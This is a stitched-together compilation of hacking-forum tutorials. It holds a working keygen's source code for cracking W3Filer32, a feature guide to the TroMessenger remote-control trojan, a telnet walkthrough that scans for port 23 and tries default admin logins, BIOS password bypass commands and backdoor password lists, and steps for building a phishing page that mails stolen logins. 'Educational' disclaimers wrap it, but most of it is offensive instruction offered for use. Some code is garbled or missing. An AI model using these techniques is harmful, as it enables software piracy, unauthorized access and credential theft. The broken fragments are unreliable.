:0040A36F 83C408 add esp, 00000008
:0040A372 85C0 test eax, eax
:0040A374 7405 je 0040A37B
:0040A376 83C8FF or eax, FFFFFFFF
:0040A379 EB02 jmp 0040A37D
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A374(C)
|
:0040A37B 33C0 xor eax, eax
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A314(U), :0040A379(U)
|
:0040A37D 5F pop edi
:0040A37E 5E pop esi
:0040A37F 5B pop ebx
:0040A380 8BE5 mov esp, ebp
:0040A382 5D pop ebp
:0040A383 C3 ret
Making the actual Keygen
~~~~~~~~~~~~~~~~~~~~~~~~
Now, after I've explained how does the program calculate the registration
code, you can either write your own keymaker, without looking at my code, or
look at my code (in Turbo Pascal - sorry for all you C lovers ;-) Next time).
That's it, here's the source of my keygen:
------------------- Cut here ---------------------------------------------
Program W3FilerKeygen;
var
Key,SerialNum,EB,ED,digit:Longint;
I,x:Byte;
Name,KeyHex:String;
begin
Writeln(' W3Filer32 V1.1.3 Keymaker');
writeln('Cracked by ^pain^ ''97 / Rebels!');
Write('Your Name:'); { Read the name }
readln(Name);
Write('Serial Number:');
readln(SerialNum); {Yes, we need the serial number for the calculation!}
Key:=0;
x:=0;
For I:=1 to length(Name) do
begin
Name[I]:=upcase(Name[i]);
If Name[I]<>' ' then begin
eb:=ord(Name[I]) shl 3; {EB = Name[I] Shl 03h}
Ed:=ord(Name[I]); {ED = Name[I]}
ed:=ed*(x); {ED=ED*Offset}
inc(x);
eb:=eb+ed; {Add ED to EB}
Key:=Key+EB; {Add EB to KEY}
end;
end;
Key:=Key+(SerialNum shr 3); { Add SerialNum shr 03h to Key}
{ From here, this is just HEX2STRING --> I`m quite sure it's
Self explaintory, else - go and learn number bases again! ;-)}
KeyHex:='';
repeat
digit:=Key mod 16;
key:=key div 16;
If digit<10>10 then KeyHex:=Chr(Digit-10+ord('a'))+KeyHex;
until key=0;
writeln('Your Key:',KeyHex);
writeln(' Enjoy!');
end.
Hack yahoo through tro messenger
Tro Messenger
(A Remote Trojan based on Yahoo! Messenger)
Note: The intension is not training yyou how to hack, but letting u know all the possiblities around
and hence protecting you how to protect yourself !!
Overview of Program
This is a Remote Trojan for Remote Controlling Computers via Yahoo! Messenger.
By this program, you can control the Remote PC by sending PM to a specified Yahoo! Messenger robot defined in the program settings.
That's like you are talking to the Remote PC to do a specified job.
How it works ?
This is the workflow of the program:
0) Goes on Startup.
1) Resides in the memory.
2) Waits for Internet Connection.
3) When Internet Connection Activated, attempts to Connect to Login the Robot ID.
4) Sends an Offline Message to Admin, when successfully logged in.
5) Now You can Control the Remote PC by sending PM to your robot.
Minimum System Requirements:
1) Microsoft Windows XP or Windows Server 2003 Operating System. This program is not supported in Windows 2000, Windows 98 and prior, and Linux-based systems.
2) 128MB of RAM (256MB RAM is Recommended)
3) 700Mhz CPU.
4) 8MB Graphic Card Memory.
5) Enough Free Disk Space in the Windows drive. (For saving screenshot files and downloaded files)
6) Alive Internet Connection. This program works in any Internet Connection. Like: Dialup, ADSL, Wireless, Broadband, Satellite, LAN and ...
This program works in Dialup Connections also. But since this program connects to Yahoo! Messenger Servers to login the Robot ID, an Alive Internet Connection can help program to work better.
Special Abilities
No Need For IP Address ! This is the main biggest ability of this program. In other trojans you must have the IP Address of Remote PC you are attempting to control it. But in this program works without IP Address.
Question - How a trojan can work without IP Address ?
Answer - Because this program provides a Yahoo! ID that acts as a robot for you, so you don't need to know the IP Address of Remote PC. Although the IP Address will be sent to you when PC comes online. But this is just for knowing more info about Remote PC. and hasn't any effect on the work of TroMessenger.
Works on Behind-LAN and Behind-Router Computers. The Big problem of other trojans, such as Troya, is that they work only on IP-Based systems. i.e. Your target PC must have a Valid IP Address relative to you. For Example: if there is a network with 5 PCs and you are a member of this network, you can connect to those PCs. but someone from outside of network cannot Connect to the computers of that network. Because he doesn't have Valid IP Address in relation to your network computer. But, this problem IS SOLVED in TroMessenger.
By TroMessenger, you can Connect to any computer in any network. Just they must be connected to internet and the TroMessenger Server be running on that computers.
Commands
In this version, there are some base commands for controlling the Remote PC.
Result: The Result of execution of a command will be sent immediately after finishing the job. But, if the text returned from a command was very long (more than ... characters), it will be sent in some pieces, sequentially. That's Because Yahoo! Messenger doesn't accept Text with the length more than a specified number of characters.
/cmd - This is just like the MS-DOS Command Prompt. You can execute DOS commands on Remote PC, and see the Result. Commands like: DIR , VER , VOL , IPConfig , Netstat , WHOAMI and ... more useful DOS commands.
Example: /cmd dir C:\*.txt
Executing DOS Commands
You can execute some specific MS-DOS commands to get more information about the target PC.
Special Note: in version 1.2 you can execute DOS commands without providing /cmd .
/cmd dir - For getting file and folder listing. You can use switches and parameters to get your specific result. Example: /cmd dir /on , /cmd dir *.txt
/cmd ipconfig - Get Network Information. This commands is for to get information about network adapters exist on that PC. It retrieves the Network Adapter Name, IP Address, Gateway, DNS Server and ... etc.
/cmd tasklist - Gets list of running processes. It is same as the Windows Task Manager. But in DOS Mode.
/cmd whoami - Tells you that how the target PC is defined in the network. The Info returned: Domain / Workgroup Name , Computer Name and Windows UserName. Note: This commands works only in Windows Server 2003. it's not supported on Windows XP.
/cmd netstat - Displays all Network and Internet Active Connections in the PC. To get the fast result, use /cmd netstat -na
Getting Computer Information:
By using the following commands, you can get general information about the target computer.
/IP - tells you the IP Address of the Remote PC. Note that a computer can have more than 1 IP Address associated with it. For Example, you have a Dialup Account for connecting to internet, and your computer is already connected to a local area network (LAN). then you have 2 IP Addresses defined in your PC. TroMessenger will send the All IP Addresses exist on the PC.
/osname - tells you the full Windows Version and Service Pack Name. For Example: Windows Server 2003 Service Pack 1.
/computername: tells you the name of the computer defined in the network. Other computes in that network will know this computer by this name. If the computer is not connected to network, doesn't matter. the name will be sent.
/winusername: tells you the Name of the Windows Account currently logged in. Note that in Windows XP, maybe more than 1 user exist on this computer. And this parameter can vary anytime users log into.
But in Windows Server 2003 this name is always returned as Administrator. Nevertheless the Admin has already defined some other user names. but usually Admins don't do that.
/yahooid - Tells you the Yahoo ID of the last person used Yahoo! Messenger in the Remote PC.
Main Program Abilities
/Help - Displays the list of available commands in this version of TroMessenger. maybe news commands be added in next versions. so you will know them by using this command.
/screenshot - Shows you a screenshot from the Remote PC.
Question - Yahoo! Messenger is a Text-Based program, but how TroMessenger can show me a picture ?
Answer - TroMessenger shows you the picture indirectly. that means: it takes the screenshot, and uploads it to the host, and gives you the link to the taken picture.
/download - Downloads a file from web and saves it in the specified location at the Remote PC. You will be notified by finishing the download.
Syntax: /download "http://www.hostname.com/folder/file.zip" "C:\SavedFile.zip"
Note: You must use Quote Marks ("). If you forgot to put quotes, download will not work.
/run - Runs a file on Remote PC. The file must already exist.
/restart - Restarts the Windows in the Remote PC.
Warning: If you test it on your PC, you will be restarted without any question or confirmation. and any changes in your programs will be lost. so care about using this command. also Shutdown command.
/shutdown - Turns Off the Remote PC. (The warning repeated)
/time , /date - Shows the DateTime.
/ejectcd - Ejects the CD-ROM Drive.
/closecd - Closes the door of CD-ROM Drive after ejection.
/view - For showing content of Text Files. Note: if the text is longer than ... bytes, it will be divided to several pieces and they will be sent one after one.
/getfile - uploads a specified file to host and gives you the link. This is used for downloading binary (non-text) files from remote pc.
/status , /idle , /busy - Sets the Status Message of the Robot to what you want. Plus using Busy and Idle Icons beside ID.
Example Syntaxes:
/status Now I'm ready.
/idle I'm away from PC.
/busy Currently Busy.
/cancel - Cancels the current executing job. For example you decided to view a 1MB text file. and the text is being sent to you piece by piece, but you suddenly decide to cancel the operation and not to send the remaining pieces of text. Just use a /cancel command.
/login - For logging in of non-admin users. Everytime TroMessenger starts, if you are not the predefined Admin of Robot, but you know the password, you should use /login your password to begin using program. Don't use quote marks for your password.
New Functions in Version 1.2
/adduser - Adds a user to Admin users list. In previous version, a TroMessenger robot can have only 1 Admin. In this version by using /adduser command you can add multiple Admins for your robot. this means they don't have to enter a password for using robot.
/deleteuser - Deletes a user from Admin users list. If you want a user no longer have access to your robot, you can simply remove him/her from the Admin users list, by using the /deleteuser command.
Auto Execution of DOS Commands. Now you can execute DOS Prompt commands without using /cmd command. You should only provide a slash / before every DOS command. Example:
/cmd dir ==> /dir
/cmd ipconfig ==> /ipconfig
Hacking computers through telnet
This is the most interesting and effective method of hacking..
we can change settings, share files, know about him, and even
shut down his computer.
Method:
step1:download ipscanner from http://rapidshare.com/files/45381210/ipscan.exe
step2: open the scanner and type your ip adress (you can get it by typing "myipadress" in google search) in both the blank boxes. Now, remove the last no. from both the boxes and type 0 and 255 respectively in both boxes. I mean suppose your ip adress is 59.93.130.244 you have to type 59.93.130.0 in first box and 59.93.130.255 in second box.
step3: go to option and type 23 in ports tab
step4: start
step5: copy all Ipadresses with a green dot. These are only useful!
step6: go to run>cmd. comand prompt opened.
step7: type telnet
step7: if asked for uid/password..
uid=admin; pass=admin
step8: type help for further commands.
Activate header in Yahoo/Gmail/Hotmail and find IP information
First of all, the IP address is generally found in the headers enclosed beween square brackets, for instance, [129.130.1.1]
Finding IP address in Gmail
1. Log into your Gmail account with your username and password.
2. Open the mail.
3. To display the email headers,
* Click on the inverted triangle beside Reply. Select Show Orginal.
4. manually find the IP address, proceed to 5.
5. Look for Received: from followed by the IP address between square brackets [ ].
Received: from [69.138.30.1] by web4587.mail.***.yahoo.com
6. If you find more than one Received: from patterns, select the last one.
7. Track the IP address of the sender
Finding IP address in Yahoo! Mail
1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or whichever folder you have stored your mail.
3. Open the mail.
4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,
* Click on Options on the top-right corner
* In the Mail Options page, click on General Preferences
* Scroll down to Messages where you have the Headers option
* Make sure that Show all headers on incoming messages is selected
* Click on the Save button
* Go back to the mails and open that mail
5. You should see similar headers like this:
Or if you want to manually find the IP address, proceed to 7.
7. Look for Received: from followed by the IP address between square brackets [ ]. Here, it is 202.65.138.109.
That is be the IP address of the sender.
If there are many instances of Received: from with the IP address, select the IP address in the last pattern. If there are no instances of Received: from with the IP address, select the first IP address in X-Originating-IP.
8. Track the IP address of the sender
Finding IP address in Hotmail
1. Log into your Hotmail account with your username and password.
2. Click on the Mail tab on the top.
3. Open the mail.
4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,
* Click on Options on the top-right corner
* In the Mail Options page, click on Mail Display Settings
* In Message Headers, make sure Advanced option is checked
* Click on Ok button
* Go back to the mails and open that mail
5. You should see the email headers now.
6. manually find the IP address, proceed to 7.
7. If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address
Hotmail headers
In this case the IP address of the sender is [68.34.60.59]. Jump to step 9.
8. If you find a header with Received: from followed by a Gmail proxy like this
Hotmail headers
Look for Received: from followed by IP address within square brackets[
In this case, the IP address of the sender is [69.140.7.58]. Jump to step 9.
9. Or else if you have headers like this
Hotmail headers
Look for Received: from followed by IP address within square brackets[].
In this case, the IP address of the sender is [61.83.145.129] (Spam mail). Jump to step 9.
10. * If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.
11. Track the IP address of the sender
Ip address explanation contd
Changing your MAC on Windows XP
There are two ways two change your IP on Windows. The easy way, and the hard way. Ill discuss how to do both of them in this tutorial.
Easy Way:
The first way to change it is, if your NIC (Network Interface Card) supports cloning your MAC Address. If this is the case then you go to.
Start > Control Panel > Network Connections
Right Click on your NIC card and goto properties. Then click the button labeled Configure. It should bring up another form. Click on the advanced tab. You should see under Property "Locally Administered Address" or "Network Address". Click the radio button next to the text box, and type in your new MAC address. (note you do not use the "-" when you enter your no MAC Address.
To check and see if it worked or not go to
Start > Run > and type in "cmd"
When the terminal comes up issue the command.
ipconfig /all
-----------------------------------------------------------------------------------------------------------------------------------------------
Hard Way:
To change your MAC Address the hard way, you first go to
Start > Run > and type in "cmd"
Once the terminal comes up type in
"net config rdr"
It should bring up alot of things, but what you are worried about is
NetBT_Tcpip_{ The Numbers Between here}
Copy the numbers in between there and write it down somewhere, seeing that you will need them later.
After you are done with that go to
Start > Run > and type in "regedt32"
That should bring up the windows registry. Once the registry is up go to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}
Click on the drop down menu and you should see the sub-categories
0000
0001
0002
and so on.
Click on each one and compare the "NetCfgInstanceId" Key with the number you wrote down earlier. Once you find a match double click on the key "NetworkAddress" and change the value to your new MAC address. Hit ok and reboot your system.
| There r several ways u can determine ur IP address information: IPCONFIG Start / Run / cmd IPCONFIG /ALL This opens a command window. One advantage is that u can send the information to a text file (IPCONFIG /ALL > c:\ip.txt) But sometimes the window shows show much information u need to scroll around to fine it. VIEW STATUS Control Panel / Network Connections / Double click the icons 4 ur network (If the network has an icon in the system tray u can also just double click on that icon) Click on the Support tab Click on the Details button ::::::::::::: Make Pictures Smaller Unavailable When u try nd send pictures through e-mail, u should normally be given the option to make them smaller. If this option is not available, a DLL file may need to be registered. Start Run regsvr32 shimgvw.dll ::::::::::::: Creating a Suspend Shortcut If u would like to create an icon to suspend ur computer, Right click on the Desktop New / Shortcut Enter in rundll32.exe PowrProf.dll, SetSuspendState Give it whatever name u want Now when u click on that shortcut, ur computer will shutdown nd suspend Submitted by Gabe ::::::::::::: Changing the User Type Normally in XP Pro, through the Control Panel / User Accounts icon, u r only allowed to create administrators or limited users. If u want to create Right click on My Computer Manage Local Users nd Groups Users Right click on the user u want to change Properties Member of tab Add button Advanced button Find Now button From here u see the full list of possibilities (e.g. Power User, Backup Operator etc.) ::::::::::::: |
Clear BIOS password
At command prompt type debug
you will get a - prompt where you can type the following (
A
MOV AX,0
MOV AX,CX
OUT 70,AL
MOV AX,0
OUT 71,AL
INC CX
CMP CX,100
JB 103
INT 20
G
Q
Basic BIOS password crack - works 9.9 times out of ten
This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:
DEBUG hit enter
-o 70 2e hit enter
-o 71 ff hit enter
-q hit enter
exit hit enter
Restart the computer. It works on most versions of the AWARD BIOS.
Accessing information on the hard disk
When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.
Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.
Flashing BIOS via software
If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.
However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.
Flashing BIOS via hardware
If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers
The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.
To find the correct jumper you should read the motherboard's manual.
Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.
If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.
If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.
Removing the battery
If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.
Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.
Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)
Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
gnd
74
|__________________
5v 75--| |
| |
| |
| CHIPS |
1 * | |
| P82C206 |
| |
| |
|___________________|
| |
| gnd | 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
80 51
|______________|
81 -| |- 50
| |
| |
| OPTi |
| |
| F82C206 |
| |
100-|________________|-31
|| | |
1 || | | 30
3 26
Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.
CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21 RCL (RAM Clear)
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.
Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.
Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.
5v
24 20 13
|___________|____________________|
| |
| DALLAS |
|> |
| DS12885S |
| |
|__________________________________|
| |
1 12
gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
Replacing the chip
If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.
Important
Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .
Key Disk for Toshiba laptops
Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.
Key protected cases
A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.
That's all.
Clear Cmos, jumper.That is the way how I solve problem when customer forgets password.
More
There are a few different ways to reset the cmos, here's a few:
1. there are many default common passwords,
such as:
At boot-up note the BIOS provider (Award, AMI, Phoenix, IBM, etc.)
For Award BIOS' try these backdoor passwords:
AWARD_SW
j262
HLT
SER
SKY_FOX
BIOSTAR
ALFAROME
Lkwpeter
j256
AWARD?SW
LKWPETER
syxz
ALLy
589589
589721
awkward
CONCAT
d8on
CONDO
j64
szyx
For AMI BIOS' try these backdoor passwords:
AMI
BIOS
PASSWORD
HEWITT RAND
AMI?SW
AMI_SW
LKWPETER
A.M.I.
CONDO
For PHOENIX BIOS' try this backdoor password:
phoenix
there are too many to count here's a list
http://www.phenoelit.de/dpl/dpl.html
(search for PC BIOS)
2. On some older PC's pressing the insert key upon startup will clear
the CMOS, make sure you hold it down till it's done booting.
3. Another way which we pretty much already covered, was to pull the
metallic nickel looking battery that supplies power to the CMOS.
4. Some times there is a small three pin jumper used to reset the bios,
just move the black little pin cover to the opposite two pins.
(Make sure to read the motherboards manual before this)
5. If the battery is soldered in you can take a soldering iron to it but
I don't recommend it unless you are a professional.
6. there are a few programs out on the net which are made to crack
certain types of bios passwords, I have one for award BIOS's here's a
couple:
http://www.11a.nu/ibios.htm
http://natan.zejn.si/rempass.html
Good reading:
http://www.astalavista.com/library/...ios_hacking.txt
http://www.virtualplastic.net/html/misc_bios.html
Tools:
http://www.red-demon.com/pwrecovery.htm
A CMOS password, if present, is one that you must enter when the computer is booting up. It comes before a network or operating system password. You will not be able to run any programs, view files or even enter the operating system if you do not enter this password. If you find you'd like to change the password, this can be done by restarting your computer and entering the CMOS setup. CMOS setup is usually entered by typing a certain key or combination of keys as your computer is booting up. The DEL (delete) key or Ctrl/Enter are common ones. However, your BIOS should show a line explaining which key(s) to type to enter SETUP, BIOS SETUP, OR CMOS SETUP. There should be a password option in the setup program. If you are not able to find this option you will need to consult the manual that came with the computer or motherboard. If you have forgotten your password you will need to clear it by physically changing jumpers on your motherboard to short out certain pins, thereby erasing the password. The location of these pins varies from motherboard to motherboard, so you will need to refer to your computer or motherboard's manual. Some motherboards have a default password. For example, the AMI BIOS default password is "AMI". Check your computer or motherboard manual for the default password. It's worth trying this password if you don't know, or have forgotten the CMOS password. Some older computers required you to have a "reference disk" in order to make changes to the CMOS settings, which would include the password.
Protect urself.know what hackers do
Protect Yourself
Rather than using the provided link in the email, you should copy the link and email it to the legitimate company or business, asking if the email is legitimate. If it is frudlante this could help shut down phisher faster.
Only use the address that you have used before, or start at your normal homepage.
Most companies require you to log in to a secure site. Look for the lock at the bottom of your browser and “https” in front of the Website address.
Related Article : Spy Phishing
Know what Hackers Do !
This Article Tells u what Hackers Do which is Known as Phishing, It is Completely Illegal never ever Try it.. This Article is meant for Educational Purpose !
This is how Bad Hackers make a fake login page(Completely Illegal) that will email you the name and password that is entered on that page.. To do this you will need some web language experiance.
First you will need to get a copy of the source code of the site. so go to the login page then click file > save as > and save the page as "html only" or right click and select "view source" then copy and past it to a notepad file on your desktop and save it as login.html. either way youl need a copy of the login.html on your desktop.
now you will need to make sure all of the images on the page are linking to a valid URL. what you need to do is look for links like
Code: |
 |
And they change them to
Code: |
 |
or save all the images and host them on your own image hosting account.
then check your page by opening it in your browser to make sure it looks like the real page with all the images showing up.
Now we have to enter the script that will mail us the name and pass. you have to look through your login.html and find the section of code that creates the login boxs and delete it. On Yahoo login this is the part of the source that needs to be replaced.
Code: | ||||||||||||
Now, this can be replaced by one of two things. If you understand PHP you could use a php mailing script as long as you have a host that allows the mail function or an apache server to host it on. Using php require 2 files. the login.html and thanks.php To use php replace the previous login script shown above with the following html.
And in the same folder put this script (unedited) to actually grab the entered info and mail it to you. thanks.php
They Call the second script thanks.php This script will sendHackers yuor name, password, ip, operating system, and browser type to you in the email. Now the second method isnt as good but can be hosted on ANY host, all they need to do is allow html which all hosts do. so this method can be hosted on a geocities account. You need to go to /http://www.response-o-matic.com and get thier free email script that can be dropped into any html. youl need to alter the script for it to work. i dont have an altered script at hand but if you guys dont have a host that allows php and the mail() function ill get the respocomatic script tomorow and edit it for you and post it here ready for you to drop straight ontop of the orriginal yahoo login code thats higlighted at the top of this page. its morning now and im tired lol. This is the responcomatic code that you can drop over the login code on your login page. just enter your email
Where it says YOUR_EMAIL@DOMAIN.COM Hackers change that to the email They want the pass to be sent. . this isnt the finished script it still needs some work but its pretty much all done.
Spy phishing
The emergence of spy-phishing as a significant element in the threat landscape stems, in part, from a shift in the intent of malware writers, as well as a number of technological advances these writers have recently made. Whereas previous generations of malware writers developed their programmes chiefly to show off their expertise and gain bragging rights among their peers, most writers are now more interested in financial gain. Some create spyware programmes to steal credit card numbers, account log-ins, or a variety of other types of personal information. Others develop and/or enhance bot networks, which are then sold or leased to other individuals or groups, as a way of launching their programmes. Still, others phish for personal information either to use for themselves or to sell to others. "Spy-phishing is really just another section under the category of crimeware, which can be defined as anything that causes financial or intellectual loss," explained Jamz Yaneza, senior threat researcher at Trend Micro. Spy-phishing's direct antecedents are spyware, phishing, and backdoor Trojans. Spyware -- software that secretly installs itself on a user’s computer and runs in the background – is designed to log personal information without the user's knowledge. The 5 per cent of spyware that can be considered to be malicious in intent is intended solely to steal passwords, bank account information, credit card numbers, social security numbers, and other forms of sensitive information – then use that information for illegal purposes. Phishing – in which the identity of a target organisation is stolen in order to steal the identities of unsuspecting customers of the target company – frequently uses professional-looking, HTML-based e-mails that include company logos, font styles, colours, graphics, and other elements to successfully spoof the supposed sender. Most also contain a link to a Web site, which is nearly always an exact replica of the spoofed site, to lure users into parting with their personal information. Backdoor Trojans are malware programmes that perform unexpected or unauthorised actions on the user's computer – and enable unauthorised access by remote systems. "Spy-phishing is a blended threat," said Yaneza. "It uses phishing techniques to initially present itself to users, then typically engages a host of other techniques and exploits to surreptitiously download and install spyware applications in the background. These applications oftentimes download additional spyware applications to further extend their functionality." According to data collected by Trend Micro, the amount of Trojan spyware such as that employed in spy-phishing attacks has been steadily increasing. According to the Trend Micro Trojan Spyware Index, the incidence of Trojan spyware has increased by over 250 per cent over the past 16 months. Similarly, according to a report published by the Anti-Phishing Working Group, an average of more than 188 new samples of Trojan spyware have been utilised in spy-phishing attacks each month in the first four months of 2006 – a 234 per cent increase over the same period in 2005. Spy-phishing offers malicious authors a variety of applications and uses. While consumers and other individual end users are an obvious target, the potential uses for spy-phishing technologies and techniques go far beyond this group. Enterprises and their employees have even more to lose from spy-phishing exploits. "Businesses of all sizes are potentially at risk, as spy-phishing can also just as easily be utilised for corporate espionage," added Yaneza. "In fact, due to the Trojan components, and the long-term stealth capabilities they employ, the threat to sensitive corporate information is perhaps greater than is the risk to the individual, if only due to the magnitude of the potential for loss." Beware !!
| ||||||||||||